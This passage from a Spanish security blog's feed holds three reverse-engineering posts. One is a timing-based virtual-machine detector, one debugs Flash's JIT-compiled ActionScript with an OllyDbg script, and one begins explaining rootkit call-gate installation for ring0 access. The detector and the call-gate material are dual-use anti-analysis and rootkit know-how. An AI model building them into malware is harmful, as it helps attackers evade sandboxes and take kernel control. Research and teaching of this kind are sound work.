&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; threshold = atoi<span class="br0">&#40;</span>optarg<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">break</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">case</span> <span class="st0">&#8216;?&#8217;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; std::<a href="http://www.opengroup.org/onlinepubs/009695399/functions/cout.html"><span class="kw3">cout</span></a> &lt;&lt; <span class="st0">&quot;<span class="es0">\n</span>Options:<span class="es0">\n</span>&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;&lt; <span class="st0">&quot;-m size<span class="es0">\t</span> buffer size in Mb (default 60mb)<span class="es0">\n</span>&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;&lt; <span class="st0">&quot;-s time<span class="es0">\t</span> sleep time in second (default 60secs)<span class="es0">\n</span>&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;&lt; <span class="st0">&quot;-t num<span class="es0">\t</span> threshold (default 98)<span class="es0">\n</span>&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;&lt; <span class="st0">&quot;-p<span class="es0">\t</span> disable locking (default enabled)&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;&lt; std::<span class="me2">endl</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">-1</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; try<br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">long</span> <span class="kw4">long</span> t1<span class="br0">&#40;</span>getTime<span class="br0">&#40;</span>buffer_size, locking<span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">long</span> <span class="kw4">long</span> t2<span class="br0">&#40;</span>getTime<span class="br0">&#40;</span>buffer_size, locking, sleep_time<span class="br0">&#41;</span><span class="br0">&#41;</span>;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// avoid division by zero</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>t1 == <span class="nu0">0</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; t1 = <span class="nu0">1</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">int</span> variation<span class="br0">&#40;</span><span class="br0">&#40;</span>std::<span class="me2">abs</span><span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw4">long</span> <span class="kw4">long</span><span class="br0">&#41;</span><span class="br0">&#40;</span>t2 &#8211; t1<span class="br0">&#41;</span><span class="br0">&#41;</span>*<span class="nu0">100</span><span class="br0">&#41;</span>/t1<span class="br0">&#41;</span>;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; std::<a href="http://www.opengroup.org/onlinepubs/009695399/functions/cout.html"><span class="kw3">cout</span></a> &lt;&lt; <span class="st0">&quot;First write: &nbsp;&quot;</span> &lt;&lt; t1<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;&lt; <span class="st0">&quot;<span class="es0">\n</span>Second write: &quot;</span> &lt;&lt; t2<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;&lt; <span class="st0">&quot;<span class="es0">\n</span>Variation: &nbsp; &nbsp;&quot;</span> &lt;&lt; variation &lt;&lt; <span class="st0">&quot;%<span class="es0">\n</span>&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;&lt; <span class="br0">&#40;</span>variation &gt;= threshold ? <span class="st0">&quot;VMM detected!&quot;</span> : <span class="st0">&quot;no VMM detected&quot;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;&lt; std::<span class="me2">endl</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; catch <span class="br0">&#40;</span>Buffer::<span class="me2">Exceptions</span> e<span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>e == Buffer::<span class="me2">ALLOC_FAILED</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; std::<a href="http://www.opengroup.org/onlinepubs/009695399/functions/cout.html"><span class="kw3">cout</span></a> &lt;&lt; <span class="st0">&quot;Can&#8217;t alloc buffer, try with a smaller size (-m)<span class="es0">\n</span>&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&quot;Or check your capabilities&quot;</span> &lt;&lt; std::<span class="me2">endl</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>e == Buffer::<span class="me2">LOCK_FAILED</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; std::<a href="http://www.opengroup.org/onlinepubs/009695399/functions/cout.html"><span class="kw3">cout</span></a> &lt;&lt; <span class="st0">&quot;Can&#8217;t lock buffer, check your capabilities<span class="es0">\n</span>&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&quot;Or use -p flag&quot;</span> &lt;&lt; std::<span class="me2">endl</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">0</span>;<br />
<span class="br0">&#125;</span><br />
&nbsp;</div>
<p><span style="text-decoration: line-through;">El código puede ser compilado con visual studio, y lo ideal es compilarlo para release.</span><br />
<strong> </strong></p>
<p><em>Ahora se compila con: <strong>g++ -O3 smdetect.cpp -o smdetect<br />
</strong>Funciona tanto en linux como en windows (mingw).</em></p>
<p>Ahora unas gráficas con los resultados en distintos entornos:</p>
<p><a href="http://blog.48bits.com/wp-content/uploads/2010/03/smdetect.png"><img src="http://blog.48bits.com/wp-content/uploads/2010/03/smdetect.png" alt="" title="smdetect" width="490" height="340" class="aligncenter size-full wp-image-1265" /></a></p>
<p>Las gráficas corresponden a 10 ejecuciones de smdetect por cada entorno. Si todo fuera perfecto deberían ser lineas horizontales, pero factores externos como la carga del sistema hacen variar bastante los resultados.</p>
<p>Se puede apreciar una diferencia notable entre los casos donde no hay VMM y en los que la hay. Un caso curioso se da con OSX, donde la diferencia es apenas un 100% estando más cerca de los resultados donde no hay VMM. Incluso en una prueba llego a dar ~30% lo cual lo hace un target muy dificil de detectar.</p>
<p>Mirando las gráficas y sin considerar OSX, podriamos establecer un umbral de 150% para la detección. Incluyendo los datos de OSX he decidido utilizar un 98%, aún asi pueden darse falsos negativos en OSX y un umbral tan bajo podría llegar a dar falsos positivos si se dan ciertas condiciones.</p>
<p>Conclushion!</p>
<p>Tenemos un nuevo método, que si bien no es 100% confiable, puede ser utilizado de forma práctica y es posible refinarlo mucho más. Una posibilidad es la utilización de heurísticas para ajustar el umbral en función a información sobre la carga del sistema. Otro tema pendiente es la enorme espera que hay que realizar entre mediciones, pero esto no creo que sea un impedimento para muchos autores de malware&#8230;</p>
<p>Aqui se acaba <img src='http://blog.48bits.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>PD: lo siento Javi y Marconi por meter otro post en tan poco tiempo (parece ser que siempre ocurre lo mismo, pueden pasar meses sin movimiento y luego abalancha de posts).</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.48bits.com/2010/03/17/jugando-con-samepage-merging/feed/</wfw:commentRss>
		<slash:comments>84</slash:comments>
		</item>
		<item>
		<title>Debuggeando código JITeado de ActionScript</title>
		<link>http://blog.48bits.com/2010/02/15/debuggeando-codigo-jiteado-de-actionscript/</link>
		<comments>http://blog.48bits.com/2010/02/15/debuggeando-codigo-jiteado-de-actionscript/#comments</comments>
		<pubDate>Mon, 15 Feb 2010 21:20:27 +0000</pubDate>
		<dc:creator>Ariel E. Coronel</dc:creator>
				<category><![CDATA[Ingeniería inversa]]></category>
		<category><![CDATA[Noticias]]></category>

		<guid isPermaLink="false">http://blog.48bits.com/?p=1086</guid>
		<description><![CDATA[Luego de leer el paper presentado por Dionysus Blazakis en Black Hat DC 2010, me dieron ganas de ver un poco de que trata el rollo, pues sin tener conocimientos de como funciona ActionScript, nos la rebuscamos para debuggear con el Ollydbg el código JITeado de un ActionScript. Herramientas a utilizar: Ollydbg IDA Java JRE [...]]]></description>
			<content:encoded><![CDATA[<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } -->Luego de leer el paper presentado por Dionysus Blazakis en Black Hat DC 2010, me dieron ganas de ver un poco de que trata el rollo, pues sin tener conocimientos de como funciona ActionScript, nos la rebuscamos para debuggear con el Ollydbg el código JITeado de un ActionScript.</p>
<p><span id="more-1086"></span><br />
<!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } 		A:link { so-language: zxx } --></p>
<p><strong>Herramientas a utilizar:</strong></p>
<p>Ollydbg<br />
IDA<br />
Java JRE ( el compilador del redtamarin es un jar )<br />
redtamarin ( <a href="http://code.google.com/p/redtamarin">http://code.google.com/p/redtamarin</a> )<br />
Alchemy ( <a href="http://labs.adobe.com/downloads/alchemy.html">http://labs.adobe.com/downloads/alchemy.html</a> )<br />
Process explorer o task manager <img src='http://blog.48bits.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } -->En su blog hace tiempo escribió una entrada llamada “Getting Pointers from Leaky Interpreters&#8221;, en la que explica como armando diccionarios de hash tables, se puede obtener un puntero hacia nuestro código.</p>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } -->En ese post, el mostró un ejemplo hecho en actionscript que en ese momento no supo como compilarlo como SWF, pero menciono que compilador estaba utilizando a la hora de sus pruebas.<br />
Nuestro objetivo sera crear un SWF con un texto al estilo “Hola mundo”, y algunos XORs asi probamos que tan bien nos va identificando el código.</p>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } --></p>
<p><strong>Primer paso: Herramientas.</strong></p>
<p>Para poder generar nuestro swf a partir de un archivo .as ( actionscript ), necesitaremos descargar el redtamarin y el Alchemy.<br />
El redtamarin es el compilador ( asc.jar ) que utilizaremos para nuestro actionscript, el Alchemynos dara la lib playerglobal.abc.<br />
Copiaremos este ultimo file dentro del folder del tamarin como primer paso.</p>
<p><strong>Segundo paso: example.as</strong></p>
<div class="dean_ch" style="white-space: wrap;">package <span class="br0">&#123;</span></p>
<p><span class="kw3">import</span> flash.<span class="me1">display</span>.<span class="me1">*</span>;<br />
<span class="kw3">import</span> flash.<span class="kw3">text</span>.<span class="me1">*</span>;</p>
<p><span class="kw3">public</span> <span class="kw2">class</span> example <span class="kw3">extends</span> Sprite <span class="br0">&#123;</span><br />
<span class="kw3">public</span> <span class="kw2">function</span> example<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
<span class="kw2">var</span> <span class="kw3">text</span> = <span class="kw2">new</span> <span class="kw3">TextField</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
<span class="kw3">text</span>.<span class="kw3">width</span> = <span class="nu0">400</span>;<br />
<span class="kw3">text</span>.<span class="me1">x</span> = <span class="nu0">0</span>;<br />
<span class="kw3">text</span>.<span class="me1">y</span> = <span class="nu0">0</span>;<br />
<span class="kw3">text</span>.<span class="kw3">text</span> = <span class="st0">&#8216;looking for help&#8217;</span>;<br />
addChild<span class="br0">&#40;</span><span class="kw3">text</span><span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span><br />
<span class="br0">&#125;</span><br />
<span class="br0">&#125;</span></div>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } -->Creo que no hace falta describir que hace esto xD</p>
<p><strong>Tercer paso: Hacer nuestro swf !</strong></p>
<p>Para generar un swf a partir de nuestro example.as iremos al cmd y ejecutaremos el asc.jar de la siguiente manera:</p>
<blockquote><p>java -jar asc.jar -swf example,400,400 -import builtin.abc -import playerglobal.abc example.as</p></blockquote>
<p>Lo único a comentar aquí es que el parámetro swf tiene como parámetros: classname,width,height.</p>
<p>El resultado de la ejecución en nuestro caso es: example.swf, 645 bytes written</p>
<p>Para ver nuestro swf podemos simplemente volcarlo dentro de nuestro navegador, o hacer algún simple html que lo cargue:</p>
<div class="dean_ch" style="white-space: wrap;">
&lt;object width=&quot;550&quot; height=&quot;400&quot;&gt;<br />
&lt;param name=&quot;movie&quot; value=&quot;example.swf&quot;&gt;<br />
&lt;embed src=&quot;example.swf&quot; width=&quot;550&quot; height=&quot;400&quot;&gt;<br />
&lt;/embed&gt;<br />
&lt;/object&gt;</div>
<p><a href="http://blog.48bits.com/wp-content/uploads/2010/02/Screenshot-1.png"><img class="size-medium wp-image-1095" title="example" src="http://blog.48bits.com/wp-content/uploads/2010/02/Screenshot-1-300x124.png" alt="" width="300" height="124" /></a></p>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } -->Vemos que va bien.. ahora le agregamos un simple while(true) para que podamos usarlo para encontrar el código JITeado.</p>
<div class="dean_ch" style="white-space: wrap;">
package <span class="br0">&#123;</span></p>
<p><span class="kw3">import</span> flash.<span class="me1">display</span>.<span class="me1">*</span>;<br />
<span class="kw3">import</span> flash.<span class="kw3">text</span>.<span class="me1">*</span>;</p>
<p><span class="kw3">public</span> <span class="kw2">class</span> example <span class="kw3">extends</span> Sprite <span class="br0">&#123;</span><br />
<span class="kw3">public</span> <span class="kw2">function</span> example<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
<span class="kw2">var</span> <span class="kw3">text</span> = <span class="kw2">new</span> <span class="kw3">TextField</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
<span class="kw3">text</span>.<span class="kw3">width</span> = <span class="nu0">400</span>;<br />
<span class="kw3">text</span>.<span class="me1">x</span> = <span class="nu0">0</span>;<br />
<span class="kw3">text</span>.<span class="me1">y</span> = <span class="nu0">0</span>;<br />
<span class="kw3">text</span>.<span class="kw3">text</span> = <span class="st0">&#8216;looking for help&#8217;</span>;<br />
addChild<span class="br0">&#40;</span><span class="kw3">text</span><span class="br0">&#41;</span>;<br />
<span class="kw1">while</span><span class="br0">&#40;</span><span class="kw2">true</span><span class="br0">&#41;</span>;<br />
<span class="kw2">var</span> a = <span class="br0">&#40;</span>0xAAAAAAAA ^ 0xBBBBBBBB ^ 0xCCCCCCCC ^ 0xDDDDDDDD <span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span><br />
<span class="br0">&#125;</span><br />
<span class="br0">&#125;</span></div>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } -->Aprovechamos y también le agregamos algunos valores para que los xoree, y de paso ver si lo podemos identificar en el debugger mientras vamos traceando. <img src='http://blog.48bits.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } --><strong>Cuarto paso: Debuggear el codigo JITeado.</strong></p>
<p>Abrimos nuestro html, y antes de cargar el swf nos pide permiso para ejecutarlo, aquí nos attacheareamos con el Olly al IE8 en nuestro caso y veremos mínimo dos procesos del iexplore.exe corriendo, vamos a attacheanos al que tiene como window name  Sysfader.</p>
<p>El taskmanager o el process explorer lo dejaremos minimizado al tray asi podemos estimar que cuando entramos al loop infinito en nuestro código JITeado.</p>
<p>Le daremos Run al Olly, parara algunas veces en memory breakpoints en el flash10b pero nosotros seguiremos hasta que no tire excepciones y el cpu este como mencionamos anteriormente trabajando de manera constante al 100% ( en caso de que sea single core ), en este momento pausamos el proceso.</p>
<p>Iremos a la ventana de Threads, y buscaremos el nuestro que estará en el heap, ya que  la mayoría van a estar parados en la ntdll sera sencillo encontrar el único thread diferente.</p>
<p>Aquí pueden pasar dos cosas: la primera es que no estemos en el loop infinito, entonces empezaremos de 0 nuevamente, o bien puede ocurrir que encontremos el thread parado en el heap como en este caso:</p>
<p><a href="http://blog.48bits.com/wp-content/uploads/2010/02/threads.png"><img class="alignnone size-medium wp-image-1098" title="threads" src="http://blog.48bits.com/wp-content/uploads/2010/02/threads-300x223.png" alt="" width="300" height="223" /></a></p>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } -->Ahora veamos el codigo algo mas completo:</p>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } --></p>
<div class="dean_ch" style="white-space: wrap;">
&lt;span style=<span class="st0">&quot;font-size: x-small;&quot;</span>&gt;019C01E1 <span class="kw1">MOV</span> <span class="kw3">EAX</span>,<span class="kw5">DWORD</span> <span class="kw4">PTR</span> <span class="kw3">DS</span>:<span class="br0">&#91;</span>25EB0D8<span class="br0">&#93;</span><br />
019C01E7 <span class="kw1">TEST</span> <span class="kw3">EAX</span>,<span class="kw3">EAX</span><br />
019C01E9 <span class="kw1">JNZ</span> 019C025F<br />
019C01EF <span class="kw1">MOV</span> <span class="kw3">EAX</span>,<span class="nu0">1</span><br />
019C01F4 <span class="kw1">TEST</span> <span class="kw3">EAX</span>,<span class="kw3">EAX</span><br />
019C01F6 <span class="kw1">JNZ</span> 019C01E1<br />
019C01FC PREFIX <span class="kw1">REPNE</span>:<br />
019C01FD MOVUPS XMM0,DQWORD <span class="kw4">PTR</span> <span class="kw3">DS</span>:<span class="br0">&#91;</span>25815E0<span class="br0">&#93;</span><br />
019C0204 PREFIX <span class="kw1">REPNE</span>:<br />
019C0205 MOVUPS XMM1,DQWORD <span class="kw4">PTR</span> <span class="kw3">DS</span>:<span class="br0">&#91;</span>25815E8<span class="br0">&#93;</span><br />
019C020C PREFIX <span class="kw1">REPNE</span>:<br />
019C020D MOVUPS DQWORD <span class="kw4">PTR</span> <span class="kw3">SS</span>:<span class="br0">&#91;</span>EBP-2C<span class="br0">&#93;</span>,XMM1<br />
019C0211 PREFIX <span class="kw1">REPNE</span>:<br />
019C0212 MOVUPS DQWORD <span class="kw4">PTR</span> <span class="kw3">SS</span>:<span class="br0">&#91;</span>ESP<span class="nu0">-8</span><span class="br0">&#93;</span>,XMM0<br />
019C0217 <span class="kw1">SUB</span> <span class="kw3">ESP</span>,<span class="nu0">8</span><br />
019C021A <span class="kw1">CALL</span> Flash10d.101F1C30<br />
019C021F <span class="kw1">ADD</span> <span class="kw3">ESP</span>,<span class="nu0">8</span><br />
019C0222 <span class="kw1">MOV</span> <span class="kw3">EBX</span>,<span class="kw3">EAX</span><br />
019C0224 <span class="kw1">PUSH</span> <span class="kw5">DWORD</span> <span class="kw4">PTR</span> <span class="kw3">SS</span>:<span class="br0">&#91;</span>EBP<span class="nu0">-28</span><span class="br0">&#93;</span><br />
019C0227 <span class="kw1">PUSH</span> <span class="kw5">DWORD</span> <span class="kw4">PTR</span> <span class="kw3">SS</span>:<span class="br0">&#91;</span>EBP-2C<span class="br0">&#93;</span><br />
019C022A <span class="kw1">CALL</span> Flash10d.101F1C30<br />
019C022F <span class="kw1">ADD</span> <span class="kw3">ESP</span>,<span class="nu0">8</span><br />
&lt;strong&gt;019C0232 <span class="kw1">XOR</span> <span class="kw3">EBX</span>,EAX&lt;/strong&gt;<br />
019C0234 PREFIX <span class="kw1">REPNE</span>:<br />
019C0235 MOVUPS XMM0,DQWORD <span class="kw4">PTR</span> <span class="kw3">DS</span>:<span class="br0">&#91;</span>25815F0<span class="br0">&#93;</span><br />
019C023C PREFIX <span class="kw1">REPNE</span>:<br />
019C023D MOVUPS DQWORD <span class="kw4">PTR</span> <span class="kw3">SS</span>:<span class="br0">&#91;</span>ESP<span class="nu0">-8</span><span class="br0">&#93;</span>,XMM0<br />
019C0242 <span class="kw1">SUB</span> <span class="kw3">ESP</span>,<span class="nu0">8</span><br />
019C0245 <span class="kw1">CALL</span> Flash10d.101F1C30<br />
019C024A <span class="kw1">ADD</span> <span class="kw3">ESP</span>,<span class="nu0">8</span>&lt;strong&gt;<br />
019C024D <span class="kw1">XOR</span> <span class="kw3">EBX</span>,<span class="kw3">EAX</span><br />
019C024F <span class="kw1">XOR</span> <span class="kw3">EBX</span>,DDDDDDDD&lt;/strong&gt;&lt;strong&gt; <span class="co1">; It looks familiar right ? <img src='http://blog.48bits.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </span><br />
019C0255 <span class="kw1">MOV</span> <span class="kw3">EAX</span>,<span class="nu0">4</span><br />
019C025A <span class="kw1">JMP</span> 019C0267<br />
019C025F <span class="kw1">MOV</span> <span class="kw3">ECX</span>,<span class="kw5">DWORD</span> <span class="kw4">PTR</span> <span class="kw3">SS</span>:<span class="br0">&#91;</span>EBP<span class="nu0">+8</span><span class="br0">&#93;</span><br />
019C0262 <span class="kw1">CALL</span> Flash10d.1020E410&lt;/span&gt;</div>
<p><!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } --></p>
<p><strong>Quinto paso: Automatizando con un script</strong></p>
<p>Hay varios caminos para tomar a la hora de llegar a donde empieza realmente nuestro código JITeado, adjunto un simple ODbgScript que mediante hardware breakpoints en VirtualProtect nos guiara hacia la presa <img src='http://blog.48bits.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /><br />
Ejecutarlo una vez que tira la primer excepción como explicamos mas arriba en el posteo.</p>
<div class="dean_ch" style="white-space: wrap;">
; Get_my_JITed_AS.<span class="me1">osc</span> by sick</p>
<p>var cont<br />
var address<br />
var VirtualProtect</p>
<p>mov cont, <span class="nu0">0</span><br />
gpa <span class="st0">&quot;VirtualProtect&quot;</span>, <span class="st0">&quot;kernel32.dll&quot;</span><br />
mov VirtualProtect, $RESULT<br />
bphws VirtualProtect, <span class="st0">&quot;x&quot;</span></p>
<p>gogo:<br />
erun</p>
<p>cooking:<br />
eob SALCHICHACONPURE</p>
<p>SALCHICHACONPURE:<br />
cmp eip, VirtualProtect<br />
je vptect<br />
cmp eip, address<br />
je isdone<br />
jmp gogo</p>
<p>vptect:<br />
cmp <span class="br0">&#91;</span>esp<span class="nu0">+8</span><span class="br0">&#93;</span>, <span class="nu0">100</span><br />
jb gogo<br />
mov address, <span class="br0">&#91;</span>esp<span class="nu0">+4</span><span class="br0">&#93;</span><br />
bphws address, <span class="st0">&quot;x&quot;</span><br />
jmp gogo</p>
<p>isdone:<br />
inc cont<br />
cmp cont, <span class="nu0">1</span><br />
mov address2, address<br />
je gogo</p>
<p>add address, <span class="nu0">60</span><br />
bphws address, <span class="st0">&quot;x&quot;</span><br />
cmp cont, <span class="nu0">2</span><br />
je gogo</div>
<p>De aquí en mas pueden agregarle código a su Actionscript y seguir jugando <img src='http://blog.48bits.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>Se agradece a Acid y Gera que colaboraron con el debugging del engine de Flash.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.48bits.com/2010/02/15/debuggeando-codigo-jiteado-de-actionscript/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Rootkit Arsenal, Installing a Call Gate</title>
		<link>http://blog.48bits.com/2010/01/08/rootkit-arsenal-installing-a-call-gate/</link>
		<comments>http://blog.48bits.com/2010/01/08/rootkit-arsenal-installing-a-call-gate/#comments</comments>
		<pubDate>Fri, 08 Jan 2010 04:15:01 +0000</pubDate>
		<dc:creator>David Reguera</dc:creator>
				<category><![CDATA[Ingeniería inversa]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://blog.48bits.com/?p=856</guid>
		<description><![CDATA[Buenas, leyendo el libro “The Rootkit Arsenal: Escape and Evasion in the Dark Corners of the System” quería matizar un par de cosas sobre el capítulo “Hooking the GDT &#8211; Installing a Call Gate”. Al final del artículo se incluye un POC driver con el soporte del WalkGDT para varios COREs entre otras. Una Call [...]]]></description>
			<content:encoded><![CDATA[<p>Buenas, leyendo el libro “<a href="http://www.amazon.com/Rootkit-Arsenal-Escape-Evasion-Corners/dp/1598220616">The Rootkit Arsenal: Escape and Evasion in the Dark Corners of the System</a>” quería matizar un par de cosas sobre el capítulo “Hooking the GDT &#8211; Installing a Call Gate”. Al final del artículo se incluye un POC driver con el soporte del WalkGDT para varios COREs entre otras.</p>
<p>Una Call Gate es un mecanismo en la arquitectura x86 de Intel para cambiar el nivel de privilegio de la CPU cuando se ejecuta una función predefinida llamada mediante una instrucción CALL/JMP FAR.</p>
<p>Una llamada a una Call Gate permite obtener un privilegio superior al actual, por ejemplo podemos ejecutar con un CALL FAR en ring3 una rutina en ring0. Una Call Gate es una entrada en la GDT (Global Descriptor Table) o en la LDT  (Local Descriptor Table).<br />
<span id="more-856"></span><br />
Windows no utiliza Call Gates para nada en especial, pero hay malware como el gusano <a href="http://www.f-secure.com/v-descs/gurong_a.shtml" target="_blank">Gurong.A</a>, que instala una Call Gate a través de \Device\PhysicalMemory para ejecutar código en ring0. Un artículo que ya hablaba sobre el tema es “<a href="http://www.phrack.com/issues.html?issue=59&amp;id=16">Playing with Windows /dev/(k)mem</a>” de crazylord publicado en la Phrack 59.</p>
<p>Hoy en día no se puede hacer tan fácilmente lo de acceder a /Device/PhysicalMemory, recomiendo leer la presentación de Alex Ionescu  en la RECON 2006 “<a href="http://www.recon.cx/en/f/aionescu-subverting-w2k3-kernel-integrity-protection.ppt">Subverting Windows 2003 SP1 Kernel Integrity Protection</a>“. También hay ejemplos por la red que usan la API ZwSystemDebugControl para instalar una Call Gate, pero como comenta el artículo de Ionescu tampoco funciona hoy en día (aunque siempre hay técnicas para reactivarlos de nuevo).</p>
<p>IMHO, la mejor manera para instalar una Call Gate es un driver como lo hace el ejemplo del libro Rootkit Arsenal, ahora voy a explicar el ejemplo que trae y añadir algunas cosas que veo que faltan:<br />
Una entrada en la GDT tiene esta pinta:</p>
<div class="dean_ch" style="white-space: wrap;"><span class="kw4">typedef</span> <span class="kw4">struct</span> _SEG_DESCRIPTOR<br />
<span class="br0">&#123;</span><br />
WORD size_00_15;<br />
WORD baseAddress_00_15;<br />
WORD baseAddress_16_23:<span class="nu0">8</span>;<br />
WORD type:<span class="nu0">4</span>;<br />
WORD sFlag:<span class="nu0">1</span>;<br />
WORD dpl:<span class="nu0">2</span>;<br />
WORD pFlag:<span class="nu0">1</span>;<br />
WORD size_16_19:<span class="nu0">4</span>;<br />
WORD notUsed:<span class="nu0">1</span>;<br />
WORD lFlag:<span class="nu0">1</span>;<br />
WORD DB:<span class="nu0">1</span>;<br />
WORD gFlag:<span class="nu0">1</span>;<br />
WORD baseAddress_24_31:<span class="nu0">8</span>;<br />
<span class="br0">&#125;</span> SEG_DESCRIPTOR, *PSEG_DESCRIPTOR;</div>
<p>Y una Call Gate es un tipo de entrada en la GDT con el siguiente aspecto:</p>
<div class="dean_ch" style="white-space: wrap;"><span class="kw4">typedef</span> <span class="kw4">struct</span> _CALL_GATE_DESCRIPTOR<br />
<span class="br0">&#123;</span><br />
WORD offset_00_15;<br />
WORD selector;<br />
WORD argCount:<span class="nu0">5</span>;<br />
WORD zeroes:<span class="nu0">3</span>;<br />
WORD type:<span class="nu0">4</span>;<br />
WORD sFlag:<span class="nu0">1</span>;<br />
WORD dpl:<span class="nu0">2</span>;<br />
WORD pFlag:<span class="nu0">1</span>;<br />
WORD offset_16_31;<br />
<span class="br0">&#125;</span> CALL_GATE_DESCRIPTOR, *PCALL_GATE_DESCRIPTOR;</div>
<p><strong>offset_00_15:</strong> es la parte baja de la dirección de la rutina que se ejecutará en ring0, offset_16_31 es la parte alta.<strong></strong></p>
<p><strong>selector: </strong>especifica el segmento de código, con el valor KGDT_R0_CODE (0&#215;8), la rutina se ejecutará con privilegios de ring0.<strong></strong></p>
<p><strong>argCount:</strong> es el número de argumentos de la rutina en DWORDs.<strong></strong></p>
<p><strong>type:</strong> es el tipo de descriptor, para una Call Gate de 32 bits necesita el valor 0xC<strong></strong></p>
<p><strong>dpl: </strong>es el privilegio mínimo que debe tener el código que llama para poder ejecutar la rutina, en te caso 0&#215;3, ya que será llamada por una rutina de ring3.</p>
<p>Los pasos para crear una Call Gate son:</p>
<ol>
